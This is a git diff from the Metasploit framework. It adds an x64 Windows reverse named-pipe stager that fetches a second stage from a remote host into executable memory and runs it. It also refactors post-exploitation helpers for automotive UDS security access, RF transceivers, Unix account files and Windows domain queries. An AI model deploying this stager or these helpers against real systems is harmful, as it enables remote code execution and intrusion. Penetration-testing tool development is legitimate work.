+  # By default, we don't want to send the UUID, but we'll send
+  # for certain payloads if requested.
+  #
+  def include_send_uuid
+    false
+  end
+
+  #
+  # Generate and compile the stager
+  #
+  def generate_reverse_named_pipe(opts={})
+    combined_asm = %Q^
+      cld                     ; Clear the direction flag.
+      and rsp, ~0xF           ;  Ensure RSP is 16 byte aligned 
+      call start              ; Call start, this pushes the address of 'api_call' onto the stack.
+      #{asm_block_api}
+      start:
+        pop rbp               ; block API pointer
+      #{asm_reverse_named_pipe(opts)}
+    ^
+    Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
+  end
+
+  def transport_config(opts={})
+    transport_config_reverse_named_pipe(opts)
+  end
+
+  #
+  # Determine the maximum amount of space required for the features requested
+  #
+  def required_space
+    # Start with our cached default generated size
+    space = cached_size
+
+    # EXITFUNK 'seh' is the worst case, that adds 15 bytes
+    space += 15
+
+    # Reliability adds bytes!
+    space += 57
+
+    space += uuid_required_size if include_send_uuid
+
+    # The final estimated size
+    space
+  end
+
+  #
+  # Generate an assembly stub with the configured feature set and options.
+  #
+  # @option opts [Fixnum] :port The port to connect to
+  # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
+  # @option opts [Bool] :reliable Whether or not to enable error handling code
+  #
+  def asm_reverse_named_pipe(opts={})
+
+    #reliable       = opts[:reliable]
+    reliable       = false
+    retry_count    = [opts[:retry_count].to_i, 1].max
+    full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
+
+    asm = %Q^
+      ; Input: RBP must be the address of 'api_call'
+      ; Output: RDI will be the handle to the named pipe.
+
+      retry_start:
+        push #{retry_count}     ; retry counter
+        pop r14
+
+        ; Func(rcx, rdx, r8, r9, stack ...)
+      try_reverse_named_pipe:
+        call get_pipe_name
+        db "#{full_pipe_name}", 0x00
+      get_pipe_name:
+        pop rcx                 ; lpFileName
+      ; Start by setting up the call to CreateFile
+        push 0                  ; alignment
+        push 0                  ; hTemplateFile
+        push 0                  ; dwFlagsAndAttributes
+        push 3                  ; dwCreationDisposition (OPEN_EXISTING)
+        xor r9, r9              ; lpSecurityAttributes
+        xor r8, r8              ; dwShareMode
+        mov rdx, 0xC0000000     ; dwDesiredAccess(GENERIC_READ|GENERIC_WRITE)
+        mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
+        call rbp                ; CreateFileA(...)
+
+      ; check for failure
+        cmp rax, -1             ; did it work?
+        jnz connected
+
+      handle_connect_failure:
+        dec r14                 ; decrement the retry count
+        jnz retry_start
+    ^
+
+    if opts[:exitfunk]
+      asm << %Q^
+      failure:
+        call exitfunk
+      ^
+    else
+      asm << %Q^
+      failure:
+        push 0x56A2B5F0         ; hardcoded to exitprocess for size
+        call rbp
+      ^
+    end
+
+    asm << %Q^
+      ; this  lable is required so that reconnect attempts include
+      ; the UUID stuff if required.
+      connected:
+        xchg rdi, rax           ; Save the file handler for later
+    ^
+    asm << asm_write_uuid if include_send_uuid
+
+    asm << %Q^
+      ; Receive the size of the incoming second stage...
+        push 0                  ; buffer for lpNumberOfBytesRead
+        mov r9, rsp             ; lpNumberOfBytesRead
+        push 0                  ; buffer for lpBuffer
+        mov rsi, rsp            ; lpNumberOfBytesRead
+        push 4                  ; sizeof(DWORD)
+        pop r8                  ; nNumberOfBytesToRead
+        push 0                  ; alignment
+        push 0                  ; lpOverlapped
+        mov rdx, rsi            ; lpBuffer
+        mov rcx, rdi            ; hFile
+        mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
+        call rbp                ; ReadFile(...)
+    ^
+
+    if reliable
+      asm << %Q^
+      ; reliability: check to see if the received worked, and reconnect
+      ; if it fails
+        test eax, eax
+        jz cleanup_file
+        mov rax, [rsi+8]
+        test eax, eax
+        jz cleanup_file
+      ^
+    end
+
+    asm << %Q^
+      
+      ; Alloc a RWX buffer for the second stage
+        add rsp, 0x30           ; slight stack adjustment
+        pop rsi                 ; pop off the second stage length
+        pop rax                 ; line the stack up again
+        mov esi, esi            ; only use the lower-order 32 bits for the size
+        push 0x40               ; 
+        pop r9                  ; PAGE_EXECUTE_READWRITE
+        push 0x1000             ; 
+        pop r8                  ; MEM_COMMIT
+        mov rdx, rsi            ; the newly recieved second stage length.
+        xor rcx, rcx            ; NULL as we dont care where the allocation is.
+        mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
+        call rbp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
+        ; Receive the second stage and execute it...
+        mov rbx, rax            ; rbx = our new memory address for the new stage
+        mov r15, rax            ; save the address so we can jump into it later
+
+      read_more:
+        ; prepare the size min(0x10000, esi)
+        mov r8, 0x10000         ; stupid named pipe buffer limit
+        cmp r8, rsi
+        jle size_is_good
+        mov r8, rsi
+
+      size_is_good:
+        ; Invoke a read
+        push 0                  ; buffer for lpNumberOfBytesRead
+        mov r9, rsp             ; lpNumberOfBytesRead
+        mov rdx, rbx            ; lpBuffer
+        push 0                  ; lpOverlapped
+        mov rcx, rdi            ; hFile
+        mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
+        call rbp                ; ReadFile(...)
+        add rsp, 0x28           ; slight stack adjustment
+    ^
+
+    if reliable
+      asm << %Q^
+      ; reliability: check to see if the read worked
+      ; if it fails
+        test eax, eax
+        jnz read_successful
+
+      ; something failed so free up memory
+        pop rax
+        push r15
+        pop rcx                 ; lpAddress
+        push 0x4000             ; MEM_DECOMMIT
+        pop r8                  ; dwFreeType
+        push 0                  ; 0
+        pop rdx                 ; dwSize
+        mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
+        call rbp                ; VirtualFree(payload, 0, MEM_DECOMMIT)
+
+      cleanup_file:
+      ; clean up the socket
+        push rdi                ; file handle
+        pop rcx                 ; hFile
+        mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
+        call rbp
+
+      ; and try again
+        dec r14                 ; decrement the retry count
+        jmp retry_start
+      ^
+    end
+
+    asm << %Q^
+      read_successful:
+        pop rax
+        add rbx, rax            ; buffer += bytes_received
+        sub rsi, rax            ; length -= bytes_received
+        test rsi, rsi           ; test length
+        jnz read_more           ; continue if we have more to read
+        jmp r15                 ; return into the second stage
+    ^
+
+    if opts[:exitfunk]
+      asm << asm_exitfunk(opts)
+    end
+
+    asm
+  end
+
+end
+
+end
diff --git a/lib/msf/core/post.rb b/lib/msf/core/post.rb
index 793824d302..2e042a3160 100644
--- a/lib/msf/core/post.rb
+++ b/lib/msf/core/post.rb
@@ -19,6 +19,12 @@ class Msf::Post < Msf::Module
   require 'msf/core/post/android'
   require 'msf/core/post/hardware'
 
+  class Complete < RuntimeError
+  end
+
+  class Failed < RuntimeError
+  end
+
   include Msf::PostMixin
 
   def setup
@@ -66,4 +72,10 @@ class Msf::Post < Msf::Module
       nil
     end
   end
+
+  # Override Msf::Module#fail_with for Msf::Simple::Post::job_run_proc
+  def fail_with(reason, msg = nil)
+    raise Msf::Post::Failed, "#{reason.to_s}: #{msg}"
+  end
+
 end
diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb
index 84d915d2b8..7073d7da0b 100644
--- a/lib/msf/core/post/common.rb
+++ b/lib/msf/core/post/common.rb
@@ -167,19 +167,19 @@ module Msf::Post::Common
   end
 
   #
-  # Reports to the database that the host is a virtual machine and reports
-  # the type of virtual machine it is (e.g VirtualBox, VMware, Xen)
+  # Reports to the database that the host is using virtualization and reports
+  # the type of virtualization it is (e.g VirtualBox, VMware, Xen, Docker)
   #
-  def report_vm(vm)
+  def report_virtualization(virt)
     return unless session
-    return unless vm
-    vm_normal = vm.to_s.strip
-    return if vm_normal.empty?
-    vm_data = {
+    return unless virt
+    virt_normal = virt.to_s.strip
+    return if virt_normal.empty?
+    virt_data = {
       :host => session.target_host,
-      :virtual_host => vm_normal
+      :virtual_host => virt_normal
     }
-    report_host(vm_data)
+    report_host(virt_data)
   end
 
   #
diff --git a/lib/msf/core/post/hardware/automotive/uds.rb b/lib/msf/core/post/hardware/automotive/uds.rb
index 5dca25a51c..68afb85d7c 100644
--- a/lib/msf/core/post/hardware/automotive/uds.rb
+++ b/lib/msf/core/post/hardware/automotive/uds.rb
@@ -33,7 +33,7 @@ module UDS
       end
       left2combine = hash["Packets"].size
       counter = 0
-      while left2combine.positive? && (bad_count < (hash["Packets"].size * 2))
+      while left2combine > 0 && (bad_count < (hash["Packets"].size * 2))
         # print_line("DEBUG Current status combine=#{left2combine} data=#{data.inspect}")
         hash["Packets"].each do |pkt|
           if (pkt.key? "ID") && pkt["ID"].hex == id.hex
@@ -100,11 +100,13 @@ module UDS
   # @param bus [String] unique CAN bus identifier
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
+  # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
   #
   # @return [Array] All supported pids from Mode $01 get current data
-  def get_current_data_pids(bus, src_id, dst_id)
+  def get_current_data_pids(bus, src_id, dst_id, opt={})
     pids = []
-    packets = get_current_data(bus, src_id, dst_id, 0, { "MAXPKTS" => 1 })
+    opt['MAXPKTS'] = 1
+    packets = get_current_data(bus, src_id, dst_id, 0, opt)
     return pids if packets.nil?
     if (packets.key? "Packets") && !packets["Packets"].empty?
       hexpids = packets["Packets"][0]["DATA"][3, 6]
@@ -114,7 +116,7 @@ module UDS
       end
     end
     if pids.include? 0x20
-      packets = get_current_data(bus, src_id, dst_id, 0x20, { "MAXPKTS" => 1 })
+      packets = get_current_data(bus, src_id, dst_id, 0x20, opt)
       if (packets.key? "Packets") && !packets["Packets"].empty?
         hexpids = packets["Packets"][0]["DATA"][3, 6]
         hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
@@ -124,7 +126,7 @@ module UDS
       end
     end
     if pids.include? 0x40
-      packets = get_current_data(bus, src_id, dst_id, 0x40, { "MAXPKTS" => 1 })
+      packets = get_current_data(bus, src_id, dst_id, 0x40, opt)
       if (packets.key? "Packets") && !packets["Packets"].empty?
         hexpids = packets["Packets"][0]["DATA"][3, 6]
         hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
@@ -134,7 +136,7 @@ module UDS
       end
     end
     if pids.include? 0x60
-      packets = get_current_data(bus, src_id, dst_id, 0x60, { "MAXPKTS" => 1 })
+      packets = get_current_data(bus, src_id, dst_id, 0x60, opt)
       if (packets.key? "Packets") && !packets["Packets"].empty?
         hexpids = packets["Packets"][0]["DATA"][3, 6]
         hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
@@ -144,7 +146,7 @@ module UDS
       end
     end
     if pids.include? 0x80
-      packets = get_current_data(bus, src_id, dst_id, 0x80, { "MAXPKTS" => 1 })
+      packets = get_current_data(bus, src_id, dst_id, 0x80, opt)
       if (packets.key? "Packets") && !packets["Packets"].empty?
         hexpids = packets["Packets"][0]["DATA"][3, 6]
         hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
@@ -154,7 +156,7 @@ module UDS
       end
     end
     if pids.include? 0xA0
-      packets = get_current_data(bus, src_id, dst_id, 0xA0, { "MAXPKTS" => 1 })
+      packets = get_current_data(bus, src_id, dst_id, 0xA0, opt)
       if (packets.key? "Packets") && !packets["Packets"].empty?
         hexpids = packets["Packets"][0]["DATA"][3, 6]
         hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
@@ -164,7 +166,7 @@ module UDS
       end
     end
     if pids.include? 0xC0
-      packets = get_current_data(bus, src_id, dst_id, 0xC0, { "MAXPKTS" => 1 })
+      packets = get_current_data(bus, src_id, dst_id, 0xC0, opt)
       if (packets.key? "Packets") && !packets["Packets"].empty?
         hexpids = packets["Packets"][0]["DATA"][3, 6]
         hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
@@ -182,10 +184,12 @@ module UDS
   # @param bus [String] unique CAN bus identifier
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
+  # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
   #
   # @return [Hash] Packet Hash with { "MIL" => true|false "DTC_COUNT" => 0 }
-  def get_monitor_status(bus, src_id, dst_id)
-    packets = get_current_data(bus, src_id, dst_id, 0x01, { "MAXPKTS" => 1 })
+  def get_monitor_status(bus, src_id, dst_id, opt = {})
+    opt['MAXPKTS'] = 1
+    packets = get_current_data(bus, src_id, dst_id, 0x01, opt)
     return {} if packets.nil?
     return packets if packets.key? "error"
     return packets unless packets.key? "Packets"
@@ -200,10 +204,12 @@ module UDS
   # @param bus [String] unique CAN bus identifier
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
+  # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
   #
   # @return [Hash] Packet Hash with { "TEMP_C" => <Celcious Temp>, "TEMP_F" => <Fahrenheit TEmp> }
-  def get_engine_coolant_temp(bus, src_id, dst_id)
-    packets = get_current_data(bus, src_id, dst_id, 0x05, { "MAXPKTS" => 1 })
+  def get_engine_coolant_temp(bus, src_id, dst_id, opt = {})
+    opt['MAXPKTS'] = 1
+    packets = get_current_data(bus, src_id, dst_id, 0x05, opt)
     return {} if packets.nil?
     return packets if packets.key? "error"
     return packets unless packets.key? "Packets"
@@ -220,10 +226,12 @@ module UDS
   # @param bus [String] unique CAN bus identifier
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
+  # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
   #
   # @return [Hash] Packet Hash with { "RPM" => <RPMs> }
-  def get_rpms(bus, src_id, dst_id)
-    packets = get_current_data(bus, src_id, dst_id, 0x0C, { "MAXPKTS" => 1 })
+  def get_rpms(bus, src_id, dst_id, opt = {})
+    opt['MAXPKTS'] = 1
+    packets = get_current_data(bus, src_id, dst_id, 0x0C, opt)
     return {} if packets.nil?
     return packets if packets.key? "error"
     return packets unless packets.key? "Packets"
@@ -237,10 +245,12 @@ module UDS
   # @param bus [String] unique CAN bus identifier
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
+  # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
   #
   # @return [Hash] Packet Hash with { "SPEED_K" => <km/h>, "SPEED_M" => <mph> }
-  def get_vehicle_speed(bus, src_id, dst_id)
-    packets = get_current_data(bus, src_id, dst_id, 0x0D, { "MAXPKTS" => 1 })
+  def get_vehicle_speed(bus, src_id, dst_id, opt = {})
+    opt['MAXPKTS'] = 1
+    packets = get_current_data(bus, src_id, dst_id, 0x0D, opt)
     return {} if packets.nil?
     return packets if packets.key? "error"
     return packets unless packets.key? "Packets"
@@ -256,10 +266,12 @@ module UDS
   # @param bus [String] unique CAN bus identifier
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
+  # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
   #
   # @return [String] Description of standard
-  def get_obd_standards(bus, src_id, dst_id)
-    packets = get_current_data(bus, src_id, dst_id, 0x1C, { "MAXPKTS" => 1 })
+  def get_obd_standards(bus, src_id, dst_id, opt = {})
+    opt['MAXPKTS'] = 1
+    packets = get_current_data(bus, src_id, dst_id, 0x1C, opt)
     return "" if packets.nil?
     if packets.key? "error"
       print_error("OBD ERR: #{packets['error']}")
@@ -532,11 +544,13 @@ module UDS
   # @param bus [String] unique CAN bus identifier
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
+  # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
   #
   # @return [Array] Array of PIDS supported by Mode $09
-  def get_vinfo_supported_pids(bus, src_id, dst_id)
+  def get_vinfo_supported_pids(bus, src_id, dst_id, opt = {})
+    opt['MAXPKTS'] = 1
     pids = []
-    packets = get_vehicle_info(bus, src_id, dst_id, 0, { "MAXPKTS" => 1 })
+    packets = get_vehicle_info(bus, src_id, dst_id, 0, opt)
     return pids if packets.nil?
     if (packets.key? "Packets") && !packets["Packets"].empty?
       unless packets["Packets"][0]["DATA"][1].hex == 0x49
@@ -558,10 +572,11 @@ module UDS
   # @param bus [String] unique CAN bus identifier
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
+  # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
   #
   # @return [String] VIN as ASCII
-  def get_vin(bus, src_id, dst_id)
-    packets = get_vehicle_info(bus, src_id, dst_id, 0x02)
+  def get_vin(bus, src_id, dst_id, opt = {})
+    packets = get_vehicle_info(bus, src_id, dst_id, 0x02, opt)
     return "" if packets.nil?
     return "UDS ERR: #{packets['error']}" if packets.key? "error"
     data = response_hash_to_data_array(dst_id.to_s(16), packets)
@@ -575,10 +590,11 @@ module UDS
   # @param bus [String] unique CAN bus identifier
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
+  # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
   #
   # @return [String] Calibration ID as ASCII
-  def get_calibration_id(bus, src_id, dst_id)
-    packets = get_vehicle_info(bus, src_id, dst_id, 0x04)
+  def get_calibration_id(bus, src_id, dst_id, opt = {})
+    packets = get_vehicle_info(bus, src_id, dst_id, 0x04, opt)
     return "" if packets.nil?
     return "UDS ERR: #{packets['error']}" if packets.key? "error"
     data = response_hash_to_data_array(dst_id.to_s(16), packets)
@@ -592,10 +608,11 @@ module UDS
   # @param bus [String] unique CAN bus identifier
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
+  # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
   #
   # @return [String] ECU Name as ASCII
-  def get_ecu_name(bus, src_id, dst_id)
-    packets = get_vehicle_info(bus, src_id, dst_id, 0x0A)
+  def get_ecu_name(bus, src_id, dst_id, opt = {})
+    packets = get_vehicle_info(bus, src_id, dst_id, 0x0A, opt)
     return "" if packets.nil?
     return "UDS ERR: #{packets['error']}" if packets.key? "error"
     data = response_hash_to_data_array(dst_id.to_s(16), packets)
@@ -616,9 +633,10 @@ module UDS
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
   # @param level [Integer] The desired DSC level
+  # @param opt [Hash] Optional arguments.  PADDING if set uses this hex value for padding
   #
   # @return [Hash] client.automtoive response
-  def set_dsc(bus, src_id, dst_id, level)
+  def set_dsc(bus, src_id, dst_id, level, opt = {})
     unless client.automotive
       print_error("Not an automotive hwbridge session")
       return {}
@@ -631,9 +649,12 @@ module UDS
       print_line("No active bus, use 'connect' or specify bus via the options")
       return {}
     end
+    padding = nil
+    padding = opt['PADDING'] if opt.key? 'PADDING'
     opt = {}
     opt["TIMEOUT"] = 20
     opt["MAXPKTS"] = 1
+    opt["PADDING"] = padding unless padding.nil?
     client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x10, level], opt)
   end
 
@@ -674,10 +695,11 @@ module UDS
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
   # @param id [Array] 2 Bytes in an array of the identifier.  Example [ 0xF1, 0x90 ]
-  # @param show_error [Boolean] If an error, return the Packet hash instead, Default false
+  # @param opt [Hash] Additional Options.  SHOW_ERROR (Returns packet hash instead, default false)
+  #                                        PADDING if set uses this hex value for padding
   #
   # @return [Array] Data retrieved.  If show_error is true and an error is detected, then packet hash will be returned instead
-  def read_data_by_id(bus, src_id, dst_id, id, show_error = false)
+  def read_data_by_id(bus, src_id, dst_id, id, opt = {})
     data = []
     unless client.automotive
       print_error("Not an automotive hwbridge session")
@@ -702,14 +724,22 @@ module UDS
       print_line("No active bus, use 'connect' or specify bus via the options")
       return {}
     end
+    show_error = false
+    padding = nil
+    show_error = true if opt.key? 'SHOW_ERROR'
+    padding = opt['PADDING'] if opt.key? 'PADDING'
     opt = {}
     opt["MAXPKTS"] = 15
+    opt["PADDING"] = padding unless padding.nil?
     packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x22] + id, opt)
     return [] if packets.nil?
     if packets.key? "error"
       return packets if show_error
     else
       data = response_hash_to_data_array(dst_id, packets)
+      if id.size > 1  # Remove IDs from return
+        data = data[(id.size-1)..data.size]
+      end
     end
     data
   end
@@ -723,9 +753,10 @@ module UDS
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
   # @param level [Integer] Requested security access level. Default is 1
+  # @param opt [Hash] Optional settings.  PADDING if set uses this hex value for padding
   #
   # @return [Hash] Packet Hash with { "SEED" => [ XX, XX ] }
-  def get_security_token(bus, src_id, dst_id, level = 1)
+  def get_security_token(bus, src_id, dst_id, level = 1, opt = {})
     unless client.automotive
       print_error("Not an automotive hwbridge session")
       return {}
@@ -738,8 +769,11 @@ module UDS
       print_line("No active bus, use 'connect' or specify bus via the options")
       return {}
     end
+    padding = nil
+    padding = opt['PADDING'] if opt.key? 'PADDING'
     opt = {}
-    opt["MAXPKTS"] = 1
+    opt["MAXPKTS"] = 2
+    opt["PADDING"] = padding unless padding.nil?
     packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27, level], opt)
     return {} if packets.nil?
     unless packets.key? "error"
@@ -754,11 +788,12 @@ module UDS
   # @param bus [String] unique CAN bus identifier
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
-  # param key [Array] Array of Hex to be used as the key.  Same size as the seed
+  # @param key [Array] Array of Hex to be used as the key.  Same size as the seed
   # @param response_level [Integer] Requested security access level response. Usually level + 1. Default is 2
+  # @param opt [Hash] Optional settings. PADDING if set uses this hex value for padding
   #
   # @return [Hash] packet response from client.automotoive
-  def send_security_token_response(bus, src_id, dst_id, key, response_level = 2)
+  def send_security_token_response(bus, src_id, dst_id, key, response_level = 2, opt = {})
     unless client.automotive
       print_error("Not an automotive hwbridge session")
       return {}
@@ -776,8 +811,11 @@ module UDS
       print_line("No active bus, use 'connect' or specify bus via the options")
       return {}
     end
+    padding = nil
+    padding = opt['PADDING'] if opt.key? 'PADDING'
     opt = {}
-    opt["MAXPKTS"] = 1
+    opt["MAXPKTS"] = 2
+    opt["PADDING"] = padding unless padding.nil?
     client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27, response_level] + key, opt)
   end
 
@@ -791,9 +829,10 @@ module UDS
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
   # @param id [Array] 2 Bytes in an array of the identifier.  Example [ 0xF1, 0x90 ]
   # @param data [Array] Array of bytes to write
+  # @param opt [Hash] Optional settings. PADDING if set uses this hex value for padding
   #
   # @return [Hash] Packet hash from client.automotive
-  def write_data_by_id(bus, src_id, dst_id, id, data)
+  def write_data_by_id(bus, src_id, dst_id, id, data, opt = {})
     unless client.automotive
       print_error("Not an automotive hwbridge session")
       return {}
@@ -815,8 +854,11 @@ module UDS
       print_line("No active bus, use 'connect' or specify bus via the options")
       return {}
     end
+    padding = nil
+    padding = opt['PADDING'] if opt.key? 'PADDING'
     opt = {}
     opt["MAXPKTS"] = 1
+    opt["PADDING"] = padding unless padding.nil?
     client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27] + id + data, opt)
   end
 
@@ -871,10 +913,11 @@ module UDS
   # @param bus [String] unique CAN bus identifier
   # @param src_id [Integer] Integer representation of the Sending CAN ID
   # @param dst_id [Integer] Integer representation of the receiving CAN ID
-  # @param suppress_response [Boolean] By default suppress ACK from ECU.  Set to false if you want confirmation
+  # @param opt [Hash] Optional arguments such as: PADDING if set uses this hex value for padding
+  #    SUPPRESS_RESPONSE By default suppress ACK from ECU.  Set to false if you want confirmation
   #
   # @return [Hash] Packet hash from client.automotive.  Typically blank unless suppress_response is false
-  def send_tester_present(bus, src_id, dst_id, suppress_response = true)
+  def send_tester_present(bus, src_id, dst_id, opt = {})
     unless client.automotive
       print_error("Not an automotive hwbridge session")
       return {}
@@ -886,10 +929,13 @@ module UDS
       print_line("No active bus, use 'connect' or specify bus via the options")
       return {}
     end
+    padding = nil
     suppress = 0x80
-    suppress = 0 unless suppress_response
+    suppress = 0 unless (opt.key? 'SUPRESS_RESPONSE') && opt['SUPRESS_RESPONSE'] == false
+    padding = opt['PADDING'] if opt.key? 'PADDING'
     opt = {}
     opt["MAXPKTS"] = 1
+    opt["PADDING"] = padding unless padding.nil?
     client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x3E, suppress], opt)
   end
 
diff --git a/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb b/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb
index 5ecb336ec3..7bc09175f9 100644
--- a/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb
+++ b/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb
@@ -278,6 +278,16 @@ module RFTransceiver
     return_success(r)
   end
 
+  #
+  # Sets lowball.  Ensure you set the frequency first before using this
+  # @return [Boolean] success value
+  def set_lowball
+    return false unless is_rf?
+    self.index ||= 0
+    r = client.rftransceiver.set_lowball(self.index)
+    return_success(r)
+  end
+
   #
   # Set power level
   # @param level [Integer] Power level
diff --git a/lib/msf/core/post/unix.rb b/lib/msf/core/post/unix.rb
index b09425f198..37637f147e 100644
--- a/lib/msf/core/post/unix.rb
+++ b/lib/msf/core/post/unix.rb
@@ -40,14 +40,17 @@ module Msf::Post::Unix
   #
   def get_groups
     groups = []
-    cmd_out = read_file("/etc/group").split("\n")
-    cmd_out.each do |l|
-      entry = {}
-      user_field = l.split(":")
-      entry[:name] = user_field[0]
-      entry[:gid] = user_field[2]
-      entry[:users] = user_field[3]
-      groups << entry
+    group = '/etc/group'
+    if file_exist?(group)
+      cmd_out = read_file(group).split("\n")
+      cmd_out.each do |l|
+        entry = {}
+        user_field = l.split(":")
+        entry[:name] = user_field[0]
+        entry[:gid] = user_field[2]
+        entry[:users] = user_field[3]
+        groups << entry
+      end
     end
     return groups
   end
@@ -59,8 +62,11 @@ module Msf::Post::Unix
     user_dirs = []
 
     # get all user directories from /etc/passwd
-    read_file("/etc/passwd").each_line do |passwd_line|
-      user_dirs << passwd_line.split(/:/)[5]
+    passwd = '/etc/passwd'
+    if file_exist?(passwd)
+      read_file(passwd).each_line do |passwd_line|
+        user_dirs << passwd_line.split(/:/)[5]
+      end
     end
 
     # also list other common places for home directories in the event that
diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb
index 72dc1bcc11..58f5655153 100644
--- a/lib/msf/core/post/windows/accounts.rb
+++ b/lib/msf/core/post/windows/accounts.rb
@@ -3,336 +3,342 @@
 require 'msf/core/post/windows/error'
 
 module Msf
-class Post
-module Windows
+  class Post
+    module Windows
+      module Accounts
+        include Msf::Post::Windows::Error
 
-module Accounts
-  include Msf::Post::Windows::Error
+        GUID = [
+          ['Data1', :DWORD],
+          ['Data2', :WORD],
+          ['Data3', :WORD],
+          ['Data4', 'BYTE[8]']
+        ].freeze
 
-  GUID = [
-    ['Data1',:DWORD],
-    ['Data2',:WORD],
-    ['Data3',:WORD],
-    ['Data4','BYTE[8]']
-  ]
+        DOMAIN_CONTROLLER_INFO = [
+          ['DomainControllerName', :LPSTR],
+          ['DomainControllerAddress', :LPSTR],
+          ['DomainControllerAddressType', :ULONG],
+          ['DomainGuid', GUID],
+          ['DomainName', :LPSTR],
+          ['DnsForestName', :LPSTR],
+          ['Flags', :ULONG],
+          ['DcSiteName', :LPSTR],
+          ['ClientSiteName', :LPSTR]
+        ].freeze
 
-  DOMAIN_CONTROLLER_INFO = [
-    ['DomainControllerName',:LPSTR],
-    ['DomainControllerAddress',:LPSTR],
-    ['DomainControllerAddressType',:ULONG],
-    ['DomainGuid',GUID],
-    ['DomainName',:LPSTR],
-    ['DnsForestName',:LPSTR],
-    ['Flags',:ULONG],
-    ['DcSiteName',:LPSTR],
-    ['ClientSiteName',:LPSTR]
-  ]
+        ##
+        # get_domain(server_name = nil)
+        #
+        # Summary:
+        #   Retrieves the current DomainName the given server is
+        #   a member of.
+        #
+        # Parameters
+        #   server_name - DNS or NetBIOS name of the remote server
+        # Returns:
+        #   The DomainName of the remote server or nil if windows
+        #   could not retrieve the DomainControllerInfo or encountered
+        #   an exception.
+        #
+        ##
+        def get_domain(server_name = nil)
+          domain = nil
+          result = session.railgun.netapi32.DsGetDcNameA(
+            server_name,
+            nil,
+            nil,
+            nil,
+            0,
+            4
+          )
 
-  ##
-  # get_domain(server_name=nil)
-  #
-  # Summary:
-  #   Retrieves the current DomainName the given server is
-  #   a member of.
-  #
-  # Parameters
-  #   server_name - DNS or NetBIOS name of the remote server
-  # Returns:
-  #   The DomainName of the remote server or nil if windows
-  #   could not retrieve the DomainControllerInfo or encountered
-  #   an exception.
-  #
-  ##
-  def get_domain(server_name=nil)
-    domain = nil
-    result = session.railgun.netapi32.DsGetDcNameA(
-      server_name,
-      nil,
-      nil,
-      nil,
-      0,
-      4)
+          begin
+            dc_info_addr = result['DomainControllerInfo']
+            unless dc_info_addr == 0
+              dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
